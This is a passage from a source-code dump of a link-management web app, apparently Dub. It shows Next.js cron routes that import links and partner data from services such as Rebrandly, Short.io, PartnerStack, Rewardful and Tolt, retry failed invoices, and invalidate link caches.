    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { importCommissions } from \"@/lib/partnerstack/import-commissions\";\nimport { importCustomers } from \"@/lib/partnerstack/import-customers\";\nimport { importGroups } from \"@/lib/partnerstack/import-groups\";\nimport { importLinks } from \"@/lib/partnerstack/import-links\";\nimport { importPartners } from \"@/lib/partnerstack/import-partners\";\nimport { partnerStackImportPayloadSchema } from \"@/lib/partnerstack/schemas\";\nimport { updateStripeCustomers } from \"@/lib/partnerstack/update-stripe-customers\";\nimport { NextResponse } from \"next/server\";\n\nexport const dynamic = \"force-dynamic\";\n\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const payload = partnerStackImportPayloadSchema.parse(JSON.parse(rawBody));\n\n    switch (payload.action) {\n      case \"import-groups\":\n        await importGroups(payload);\n        break;\n      case \"import-partners\":\n        await importPartners(payload);\n        break;\n      case \"import-links\":\n        await importLinks(payload);\n        break;\n      case \"import-customers\":\n        await importCustomers(payload);\n        break;\n      case \"import-commissions\":\n        await importCommissions(payload);\n        break;\n      case \"update-stripe-customers\":\n        await updateStripeCustomers(payload);\n        break;\n      default:\n        throw new Error(`Unknown action: ${payload.action}`);\n    }\n\n    return NextResponse.json(\"OK\");\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/import/rebrandly/route.ts",
    "content": "import { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { redis } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport { importLinksFromRebrandly, importTagsFromRebrandly } from \"./utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const body = JSON.parse(rawBody);\n    const { workspaceId, importTags, createdAfter } = body;\n\n    try {\n      const rebrandlyApiKey = await redis.get<string>(\n        `import:rebrandly:${workspaceId}`,\n      );\n\n      if (!rebrandlyApiKey) {\n        throw new DubApiError({\n          code: \"bad_request\",\n          message: \"Rebrandly API key not found\",\n        });\n      }\n\n      let tagsToId: Record<string, string> | null = null;\n      if (importTags === true) {\n        const tagsImported = await redis.get(\n          `import:rebrandly:${workspaceId}:tags`,\n        );\n\n        if (!tagsImported) {\n          await importTagsFromRebrandly({\n            workspaceId,\n            rebrandlyApiKey,\n          });\n\n          await redis.set(`import:rebrandly:${workspaceId}:tags`, \"true\");\n        }\n\n        tagsToId = await prisma.tag\n          .findMany({\n            where: {\n              projectId: workspaceId,\n            },\n            select: {\n              id: true,\n              name: true,\n            },\n          })\n          .then((tags) =>\n            tags.reduce((acc, tag) => {\n              acc[tag.name] = tag.id;\n              return acc;\n            }, {}),\n          );\n      }\n      await importLinksFromRebrandly({\n        ...body,\n        tagsToId,\n        rebrandlyApiKey,\n        createdAfter,\n      });\n      return NextResponse.json({\n        response: \"success\",\n      });\n    } catch (error) {\n      const workspace = await prisma.project.findUnique({\n        where: {\n          id: workspaceId,\n        },\n        select: {\n          slug: true,\n        },\n      });\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `Workspace: ${workspace?.slug || workspaceId}$. Error: ${error.message}`,\n      });\n    }\n  } catch (error) {\n    await log({\n      message: `Error importing Rebrandly links: ${error.message}`,\n      type: \"cron\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/import/rebrandly/utils.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { bulkCreateLinks } from \"@/lib/api/links\";\nimport { qstash } from \"@/lib/cron\";\nimport { redis } from \"@/lib/upstash\";\nimport { randomBadgeColor } from \"@/ui/links/tag-badge\";\nimport { sendEmail } from \"@dub/email\";\nimport LinksImported from \"@dub/email/templates/links-imported\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK, linkConstructorSimple } from \"@dub/utils\";\n\nexport const importTagsFromRebrandly = async ({\n  workspaceId,\n  rebrandlyApiKey,\n  lastTagId = null,\n}: {\n  workspaceId: string;\n  rebrandlyApiKey: string;\n  lastTagId?: string | null;\n}) => {\n  const tags = (await fetch(\n    `https://api.rebrandly.com/v1/tags?orderBy=name&orderDir=desc&limit=25${\n      lastTagId ? `&last=${lastTagId}` : \"\"\n    }`,\n    {\n      headers: {\n        \"Content-Type\": \"application/json\",\n        apikey: rebrandlyApiKey as string,\n      },\n    },\n  ).then((r) => r.json())) as {\n    id: string;\n    name: string;\n    color: string;\n  }[];\n\n  // if no tags left, meaning import is complete\n  if (tags.length === 0) {\n    return;\n  }\n\n  const newLastTagId = tags[tags.length - 1].id;\n\n  // import tags into database\n  await prisma.tag.createMany({\n    data: tags.map((tag) => ({\n      id: createId({ prefix: \"tag_\" }),\n      name: tag.name,\n      color: randomBadgeColor(),\n      projectId: workspaceId,\n    })),\n    skipDuplicates: true,\n  });\n\n  // wait 500 ms before making another request\n  await new Promise((resolve) => setTimeout(resolve, 500));\n\n  return await importTagsFromRebrandly({\n    workspaceId,\n    rebrandlyApiKey,\n    lastTagId: newLastTagId,\n  });\n};\n\nexport const importLinksFromRebrandly = async ({\n  workspaceId,\n  userId,\n  domainId,\n  domain,\n  folderId,\n  tagsToId,\n  rebrandlyApiKey,\n  createdAfter,\n  lastLinkId = null,\n  count = 0,\n}: {\n  workspaceId: string;\n  userId: string;\n  domainId: number;\n  domain: string;\n  folderId?: string;\n  tagsToId?: Record<string, string>;\n  rebrandlyApiKey: string;\n  createdAfter?: string;\n  lastLinkId?: string | null;\n  count?: number;\n}) => {\n  const links = await fetch(\n    `https://api.rebrandly.com/v1/links?${new URLSearchParams({\n      domain: domainId.toString(),\n      orderBy: \"createdAt\",\n      orderDir: \"desc\",\n      limit: \"25\",\n      ...(lastLinkId && { last: lastLinkId }),\n      ...(createdAfter && { dateFrom: createdAfter }),\n      // ...(createdBefore && { dateTo: createdBefore }), // TODO add this in the future\n    })}`,\n    {\n      headers: {\n        \"Content-Type\": \"application/json\",\n        apikey: rebrandlyApiKey as string,\n      },\n    },\n  ).then((res) => res.json());\n\n  // if no more links, meaning import is complete\n  if (links.length === 0) {\n    const workspace = await prisma.project.findUnique({\n      where: {\n        id: workspaceId,\n      },\n      select: {\n        name: true,\n        slug: true,\n        users: {\n          where: {\n            role: \"owner\",\n          },\n          select: {\n            user: {\n              select: {\n                email: true,\n              },\n            },\n          },\n        },\n        links: {\n          select: {\n            domain: true,\n            key: true,\n            createdAt: true,\n          },\n          where: {\n            domain,\n          },\n          take: 5,\n          orderBy: {\n            createdAt: \"desc\",\n          },\n        },\n      },\n    });\n    const ownerEmail = workspace?.users[0].user.email ?? \"\";\n    const links = workspace?.links ?? [];\n\n    await Promise.all([\n      // delete keys from redis\n      redis.del(`import:rebrandly:${workspaceId}`),\n      redis.del(`import:rebrandly:${workspaceId}:tags`),\n\n      // delete tags that have no links\n      prisma.tag.deleteMany({\n        where: {\n          projectId: workspaceId,\n          links: {\n            none: {},\n          },\n        },\n      }),\n\n      // send email to user\n      sendEmail({\n        subject: `Your Rebrandly links have been imported!`,\n        to: ownerEmail,\n        react: LinksImported({\n          email: ownerEmail,\n          provider: \"Rebrandly\",\n          count,\n          links,\n          domains: [domain],\n          workspaceName: workspace?.name ?? \"\",\n          workspaceSlug: workspace?.slug ?? \"\",\n        }),\n      }),\n    ]);\n    return count;\n\n    // if there are more links, import them\n  } else {\n    const newLastLinkId = links[links.length - 1].id;\n\n    // convert links to format that can be imported into database\n    const importedLinks = links\n      .map(\n        ({ title, slashtag: key, destination, tags, createdAt, updatedAt }) => {\n          // if tagsToId is provided and tags array is not empty, get the tagIds\n          const tagIds =\n            tagsToId && tags.length > 0\n              ? tags.map(\n                  (tag: {\n                    id: string;\n                    name: string;\n                    color: string;\n                    active: boolean;\n                    clicks: number;\n                  }) => tagsToId[tag.name],\n                )\n              : [];\n\n          return {\n            projectId: workspaceId,\n            userId,\n            domain,\n            key,\n            url: destination,\n            shortLink: linkConstructorSimple({\n              domain,\n              key,\n            }),\n            title,\n            folderId,\n            createdAt,\n            updatedAt,\n            tagIds,\n          };\n        },\n      )\n      .filter(Boolean);\n\n    // check if links are already in the database\n    const alreadyCreatedLinks = await prisma.link.findMany({\n      where: {\n        shortLink: {\n          in: importedLinks.map((link) => link.shortLink),\n        },\n      },\n      select: {\n        shortLink: true,\n      },\n    });\n\n    // filter out links that are already in the database\n    const linksToCreate = importedLinks.filter(\n      (link) =>\n        !alreadyCreatedLinks.some((l) => l.shortLink === link.shortLink),\n    );\n\n    // bulk create links\n    await bulkCreateLinks({\n      links: linksToCreate,\n      skipRedisCache: true,\n    });\n\n    count += importedLinks.length;\n\n    console.log({\n      importedLinksLength: importedLinks.length,\n      count,\n      newLastLinkId,\n    });\n\n    // wait 500 ms before making another request\n    await new Promise((resolve) => setTimeout(resolve, 500));\n\n    return await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/import/rebrandly`,\n      body: {\n        workspaceId,\n        userId,\n        domainId,\n        domain,\n        folderId,\n        importTags: tagsToId ? true : false,\n        createdAfter,\n        lastLinkId: newLastLinkId,\n        count,\n      },\n    });\n  }\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/import/rewardful/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { importAffiliateCoupons } from \"@/lib/rewardful/import-affiliate-coupons\";\nimport { importCampaigns } from \"@/lib/rewardful/import-campaigns\";\nimport { importCommissions } from \"@/lib/rewardful/import-commissions\";\nimport { importCustomers } from \"@/lib/rewardful/import-customers\";\nimport { importPartners } from \"@/lib/rewardful/import-partners\";\nimport { rewardfulImportPayloadSchema } from \"@/lib/rewardful/schemas\";\nimport { NextResponse } from \"next/server\";\n\nexport const dynamic = \"force-dynamic\";\n\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const payload = rewardfulImportPayloadSchema.parse(JSON.parse(rawBody));\n\n    switch (payload.action) {\n      case \"import-campaigns\":\n        await importCampaigns(payload);\n        break;\n      case \"import-partners\":\n        await importPartners(payload);\n        break;\n      case \"import-affiliate-coupons\":\n        await importAffiliateCoupons(payload);\n        break;\n      case \"import-customers\":\n        await importCustomers(payload);\n        break;\n      case \"import-commissions\":\n        await importCommissions(payload);\n        break;\n    }\n\n    return NextResponse.json(\"OK\");\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/import/short/route.ts",
    "content": "import { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { redis } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport { importLinksFromShort } from \"./utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const body = JSON.parse(rawBody);\n    const {\n      workspaceId,\n      userId,\n      domainId,\n      domain,\n      folderId,\n      importTags,\n      pageToken,\n      count,\n    } = body;\n\n    try {\n      const shortApiKey = (await redis.get(\n        `import:short:${workspaceId}`,\n      )) as string;\n      await importLinksFromShort({\n        workspaceId,\n        userId,\n        domainId,\n        domain,\n        folderId,\n        importTags,\n        pageToken,\n        count,\n        shortApiKey,\n      });\n      return NextResponse.json({\n        response: \"success\",\n      });\n    } catch (error) {\n      const workspace = await prisma.project.findUnique({\n        where: {\n          id: workspaceId,\n        },\n        select: {\n          slug: true,\n        },\n      });\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `Workspace: ${workspace?.slug || workspaceId}$. Error: ${error.message}`,\n      });\n    }\n  } catch (error) {\n    await log({\n      message: `Error importing Short.io links: ${error.message}`,\n      type: \"cron\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/import/short/utils.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { bulkCreateLinks } from \"@/lib/api/links\";\nimport { qstash } from \"@/lib/cron\";\nimport { redis } from \"@/lib/upstash\";\nimport { randomBadgeColor } from \"@/ui/links/tag-badge\";\nimport { sendEmail } from \"@dub/email\";\nimport LinksImported from \"@dub/email/templates/links-imported\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK, linkConstructorSimple } from \"@dub/utils\";\n\nexport const importLinksFromShort = async ({\n  workspaceId,\n  userId,\n  domainId,\n  domain,\n  folderId,\n  importTags,\n  pageToken = null,\n  count = 0,\n  shortApiKey,\n}: {\n  workspaceId: string;\n  userId: string;\n  domainId: number;\n  domain: string;\n  folderId?: string;\n  importTags?: boolean;\n  pageToken?: string | null;\n  count?: number;\n  shortApiKey: string;\n}) => {\n  const data = await fetch(\n    `https://api.short.io/api/links?domain_id=${domainId}&limit=50${\n      pageToken ? `&pageToken=${pageToken}` : \"\"\n    }`,\n    {\n      headers: {\n        \"Content-Type\": \"application/json\",\n        Authorization: shortApiKey,\n      },\n    },\n  ).then((res) => res.json());\n\n  const { links, nextPageToken } = data;\n\n  let tagsToCreate = new Set<string>();\n  let allTags: { id: string; name: string }[] = [];\n\n  // convert links to format that can be imported into database\n  const importedLinks = links\n    .map(\n      ({\n        originalURL,\n        path,\n        title,\n        iphoneURL,\n        androidURL,\n        archived,\n        tags,\n        createdAt,\n      }) => {\n        // skip the root domain\n        if (path.length === 0) {\n          return null;\n        }\n        if (tags) {\n          tags.forEach((tag: string) => tagsToCreate.add(tag));\n        }\n        return {\n          projectId: workspaceId,\n          userId,\n          domain,\n          key: path,\n          url: originalURL,\n          shortLink: linkConstructorSimple({\n            domain,\n            key: path,\n          }),\n          title,\n          ios: iphoneURL,\n          android: androidURL,\n          archived,\n          tags,\n          folderId,\n          createdAt,\n        };\n      },\n    )\n    .filter(Boolean);\n\n  // check if links are already in the database\n  const alreadyCreatedLinks = await prisma.link.findMany({\n    where: {\n      shortLink: {\n        in: importedLinks.map((link) => link.shortLink),\n      },\n    },\n    select: {\n      shortLink: true,\n    },\n  });\n\n  // filter out links that are already in the database\n  const linksToCreate = importedLinks.filter(\n    (link) => !alreadyCreatedLinks.some((l) => l.shortLink === link.shortLink),\n  );\n\n  // import tags into database\n  if (importTags && tagsToCreate.size > 0) {\n    const existingTags = await prisma.tag.findMany({\n      where: {\n        projectId: workspaceId,\n      },\n      select: {\n        id: true,\n        name: true,\n      },\n    });\n    await prisma.tag.createMany({\n      data: Array.from(tagsToCreate)\n        // filter out existing tags with the same name\n        .filter((tag) => !existingTags.some((t) => t.name === tag))\n        .map((tag) => ({\n          id: createId({ prefix: \"tag_\" }),\n          name: tag,\n          color: randomBadgeColor(),\n          projectId: workspaceId,\n        })),\n      skipDuplicates: true,\n    });\n    allTags = await prisma.tag.findMany({\n      where: {\n        projectId: workspaceId,\n      },\n      select: {\n        id: true,\n        name: true,\n      },\n    });\n  }\n\n  // bulk create links\n  await bulkCreateLinks({\n    links: linksToCreate.map(({ tags, ...rest }) => {\n      return {\n        ...rest,\n        ...(importTags &&\n          Array.isArray(tags) &&\n          tags.length > 0 && {\n            tagIds: tags\n              .map(\n                (tag: string) =>\n                  allTags.find((t) => t.name === tag)?.id ?? null,\n              )\n              .filter(Boolean),\n          }),\n      };\n    }),\n    skipRedisCache: true,\n  });\n\n  count += importedLinks.length;\n\n  console.log({\n    importedLinksLength: importedLinks.length,\n    count,\n    nextPageToken,\n  });\n\n  // wait 500 ms before making another request\n  await new Promise((resolve) => setTimeout(resolve, 500));\n\n  if (!nextPageToken) {\n    const workspace = await prisma.project.findUnique({\n      where: {\n        id: workspaceId,\n      },\n      select: {\n        name: true,\n        slug: true,\n        users: {\n          where: {\n            role: \"owner\",\n          },\n          select: {\n            user: {\n              select: {\n                email: true,\n              },\n            },\n          },\n        },\n        links: {\n          select: {\n            domain: true,\n            key: true,\n            createdAt: true,\n          },\n          where: {\n            domain,\n          },\n          take: 5,\n          orderBy: {\n            createdAt: \"desc\",\n          },\n        },\n      },\n    });\n    const ownerEmail = workspace?.users[0].user.email ?? \"\";\n    const links = workspace?.links ?? [];\n\n    await Promise.all([\n      // delete key from redis\n      redis.del(`import:short:${workspaceId}`),\n\n      // send email to user\n      sendEmail({\n        subject: `Your Short.io links have been imported!`,\n        to: ownerEmail,\n        react: LinksImported({\n          email: ownerEmail,\n          provider: \"Short.io\",\n          count,\n          links,\n          domains: [domain],\n          workspaceName: workspace?.name ?? \"\",\n          workspaceSlug: workspace?.slug ?? \"\",\n        }),\n      }),\n    ]);\n    return count;\n  } else {\n    // recursively call this function via qstash until nextPageToken is null\n    return await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/import/short`,\n      body: {\n        workspaceId,\n        userId,\n        domainId,\n        domain,\n        folderId,\n        pageToken: nextPageToken,\n        count,\n      },\n    });\n  }\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/import/tolt/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { cleanupPartners } from \"@/lib/tolt/cleanup-partners\";\nimport { importCommissions } from \"@/lib/tolt/import-commissions\";\nimport { importCustomers } from \"@/lib/tolt/import-customers\";\nimport { importLinks } from \"@/lib/tolt/import-links\";\nimport { importPartners } from \"@/lib/tolt/import-partners\";\nimport { toltImportPayloadSchema } from \"@/lib/tolt/schemas\";\nimport { updateStripeCustomers } from \"@/lib/tolt/update-stripe-customers\";\nimport { NextResponse } from \"next/server\";\n\nexport const dynamic = \"force-dynamic\";\n\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const payload = toltImportPayloadSchema.parse(JSON.parse(rawBody));\n\n    switch (payload.action) {\n      case \"import-partners\":\n        await importPartners(payload);\n        break;\n      case \"import-links\":\n        await importLinks(payload);\n        break;\n      case \"import-customers\":\n        await importCustomers(payload);\n        break;\n      case \"import-commissions\":\n        await importCommissions(payload);\n        break;\n      case \"update-stripe-customers\":\n        await updateStripeCustomers(payload);\n        break;\n      case \"cleanup-partners\":\n        await cleanupPartners(payload);\n        break;\n    }\n\n    return NextResponse.json(\"OK\");\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/invoices/retry-failed/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { createPaymentIntent } from \"@/lib/stripe/create-payment-intent\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst schema = z.object({\n  invoiceId: z.string().min(1),\n});\n\n// POST /api/cron/invoices/retry-failed\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const { invoiceId } = schema.parse(JSON.parse(rawBody));\n\n    const invoice = await prisma.invoice.findUnique({\n      where: {\n        id: invoiceId,\n      },\n      select: {\n        id: true,\n        type: true,\n        status: true,\n        total: true,\n        failedAttempts: true,\n        workspace: {\n          select: {\n            id: true,\n            stripeId: true,\n          },\n        },\n      },\n    });\n\n    if (!invoice) {\n      console.log(`Invoice ${invoiceId} not found.`);\n      return new Response(`Invoice ${invoiceId} not found.`);\n    }\n\n    if (invoice.status !== \"failed\") {\n      console.log(`Invoice ${invoiceId} is not failed.`);\n      return new Response(`Invoice ${invoiceId} is not failed.`);\n    }\n\n    if (invoice.failedAttempts >= 3) {\n      console.log(`Invoice ${invoiceId} has reached max failed attempts of 3.`);\n      return new Response(\n        `Invoice ${invoiceId} has reached max failed attempts of 3.`,\n      );\n    }\n\n    if (invoice.type !== \"domainRenewal\") {\n      console.log(`Only domain renewals can be retried at this time.`);\n      return new Response(`Only domain renewals can be retried at this time.`);\n    }\n\n    if (!invoice.workspace.stripeId) {\n      console.log(`Workspace ${invoice.workspace.id} has no stripeId.`);\n      return new Response(`Workspace ${invoice.workspace.id} has no stripeId.`);\n    }\n\n    await createPaymentIntent({\n      stripeId: invoice.workspace.stripeId,\n      amount: invoice.total,\n      invoiceId: invoice.id,\n      statementDescriptor: \"Dub\",\n      description: `Domain renewal invoice (${invoice.id})`,\n      idempotencyKey: `${invoice.id}-${invoice.failedAttempts}`,\n    });\n\n    return new Response(`Retrying invoice charge ${invoice.id}...`);\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/links/[linkId]/complete-tests/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { completeABTests } from \"@/lib/api/links/complete-ab-tests\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { prisma } from \"@dub/prisma\";\n\n// POST - /api/cron/links/[linkId]/complete-tests\n// Completes a link's AB tests if they're ready, scheduled by QStash\nexport async function POST(\n  req: Request,\n  props: {\n    params: Promise<{ linkId: string }>;\n  },\n) {\n  const params = await props.params;\n\n  const { linkId } = params;\n\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const link = await prisma.link.findUnique({\n      where: {\n        id: linkId,\n      },\n    });\n\n    if (!link) {\n      return new Response(`Link ${linkId} not found. Skipping...`);\n    }\n\n    // only complete tests if:\n    // - there are test variants\n    // - the tests completion time is in the past\n    // - the tests completion time is within the last 15 minutes\n    if (\n      link.testVariants &&\n      link.testCompletedAt &&\n      link.testCompletedAt < new Date() &&\n      Date.now() - link.testCompletedAt.getTime() < 15 * 60 * 1000 // Limit to a 15-minute window\n    ) {\n      await completeABTests(link);\n\n      return new Response(`Tests completed for link ${linkId}.`);\n    }\n\n    return new Response(`No test completion necessary for link ${linkId}.`);\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/links/delete/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { deleteLink } from \"@/lib/api/links\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { prisma } from \"@dub/prisma\";\n\nexport const dynamic = \"force-dynamic\";\n\n/*\n    This route is used to delete demo links that are not claimed\n    It is called by QStash 30 minutes after a demo link is created\n*/\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { linkId } = JSON.parse(rawBody);\n\n    const link = await prisma.link.findUnique({\n      where: {\n        id: linkId,\n      },\n    });\n\n    if (!link) {\n      return new Response(\"Link not found. Skipping...\", { status: 200 });\n    }\n\n    if (link.userId) {\n      return new Response(\"Link claimed. Skipping...\", { status: 200 });\n    }\n\n    await deleteLink(link.id);\n\n    return new Response(\"Link deleted.\", { status: 200 });\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/links/invalidate-for-discounts/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { chunk } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst schema = z.object({\n  groupId: z.string(),\n  partnerIds: z\n    .array(z.string())\n    .optional()\n    .describe(\n      \"If provided, only invalidate the cache for the given partner ids.\",\n    ),\n});\n\n// This route is used to invalidate the partnerlink cache when a discount is created/updated/deleted.\n// POST /api/cron/links/invalidate-for-discounts\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { groupId, partnerIds } = schema.parse(JSON.parse(rawBody));\n\n    // Find the group\n    const group = await prisma.partnerGroup.findUnique({\n      where: {\n        id: groupId,\n      },\n    });\n\n    if (!group) {\n      return logAndRespond(`Group ${groupId} not found.`, {\n        logLevel: \"error\",\n      });\n    }\n\n    // Find all the links of the partners in the group\n    const programEnrollments = await prisma.programEnrollment.findMany({\n      where: {\n        groupId,\n        ...(partnerIds && {\n          partnerId: {\n            in: partnerIds,\n          },\n        }),\n      },\n      select: {\n        links: {\n          select: {\n            domain: true,\n            key: true,\n          },\n        },\n      },\n    });\n\n    if (programEnrollments.length === 0) {\n      return logAndRespond(\n        `No program enrollments found for group ${groupId}.`,\n      );\n    }\n\n    const links = programEnrollments.flatMap((enrollment) => enrollment.links);\n\n    if (links.length === 0) {\n      return logAndRespond(\n        `No links found for partners in the group ${groupId}.`,\n      );\n    }\n\n    const linkChunks = chunk(links, 100);\n\n    // Expire the cache for the links\n    for (const linkChunk of linkChunks) {\n      const toExpire = linkChunk.map(({ domain, key }) => ({ domain, key }));\n      await linkCache.expireMany(toExpire);\n    }\n\n    return logAndRespond(`Expired cache for ${links.length} links.`);\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/links/invalidate-for-partners/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst schema = z.object({\n  partnerId: z.string(),\n});\n\n// This route is used to invalidate the partnerlink cache when the partner info is updated.\n// POST /api/cron/links/invalidate-for-partners\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { partnerId } = schema.parse(JSON.parse(rawBody));\n\n    const programs = await prisma.programEnrollment.findMany({\n      where: {\n        partnerId,\n      },\n      select: {\n        programId: true,\n      },\n    });\n\n    const links = await prisma.link.findMany({\n      where: {\n        programId: {\n          in: programs.map(({ programId }) => programId),\n        },\n        partnerId,\n      },\n      select: {\n        domain: true,\n        key: true,\n      },\n    });\n\n    if (!links || links.length === 0) {\n      return new Response(\"No links found.\");\n    }\n\n    await linkCache.expireMany(links);\n\n    return new Response(`Invalidated ${links.length} links.`);\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/messages/notify-partner/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport NewMessageFromProgram from \"@dub/email/templates/new-message-from-program\";\nimport { prisma } from \"@dub/prisma\";\nimport { NotificationEmailType } from \"@dub/prisma/client\";\nimport { log } from \"@dub/utils\";\nimport { subDays } from \"date-fns\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst schema = z.object({\n  programId: z.string(),\n  partnerId: z.string(),\n  lastMessageId: z.string(),\n});\n\n// POST /api/cron/messages/notify-partner\n// Notify a partner about unread messages from a program\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const { programId, partnerId, lastMessageId } = schema.parse(\n      JSON.parse(rawBody),\n    );\n\n    const [partner, program] = await Promise.all([\n      prisma.partner.findUniqueOrThrow({\n        where: {\n          id: partnerId,\n        },\n        include: {\n          messages: {\n            where: {\n              programId,\n              createdAt: {\n                gt: subDays(new Date(), 3), // sent in the last 3 days\n              },\n              senderPartnerId: null, // not sent by the partner\n              readInApp: null, // unread messages only\n              readInEmail: null, // unread messages only\n            },\n            orderBy: {\n              createdAt: \"desc\",\n            },\n            include: {\n              senderUser: true,\n            },\n          },\n          users: {\n            include: {\n              user: true,\n            },\n            where: {\n              notificationPreferences: {\n                newMessageFromProgram: true,\n              },\n            },\n          },\n        },\n      }),\n      prisma.program.findUniqueOrThrow({\n        where: {\n          id: programId,\n        },\n      }),\n    ]);\n\n    // unread messages are already sorted by latest message first\n    const unreadMessages = partner.messages;\n\n    if (unreadMessages.length === 0)\n      return logAndRespond(\n        `No unread messages found for partner ${partnerId} in program ${programId}. Skipping...`,\n      );\n\n    // if the latest unread message is not the last message id, skip\n    if (unreadMessages[0].id !== lastMessageId)\n      return logAndRespond(\n        `There is a more recent unread message than ${lastMessageId}. Skipping...`,\n      );\n\n    const partnerUsersToNotify = partner.users\n      .map(({ user }) => user)\n      .filter(Boolean) as { email: string; id: string }[];\n\n    if (partnerUsersToNotify.length === 0)\n      return logAndRespond(\n        `No partner emails to notify for partner ${partnerId}. Skipping...`,\n      );\n\n    const { data, error } = await sendBatchEmail(\n      partnerUsersToNotify.map(({ email }) => ({\n        subject: `${program.name} sent ${unreadMessages.length === 1 ? 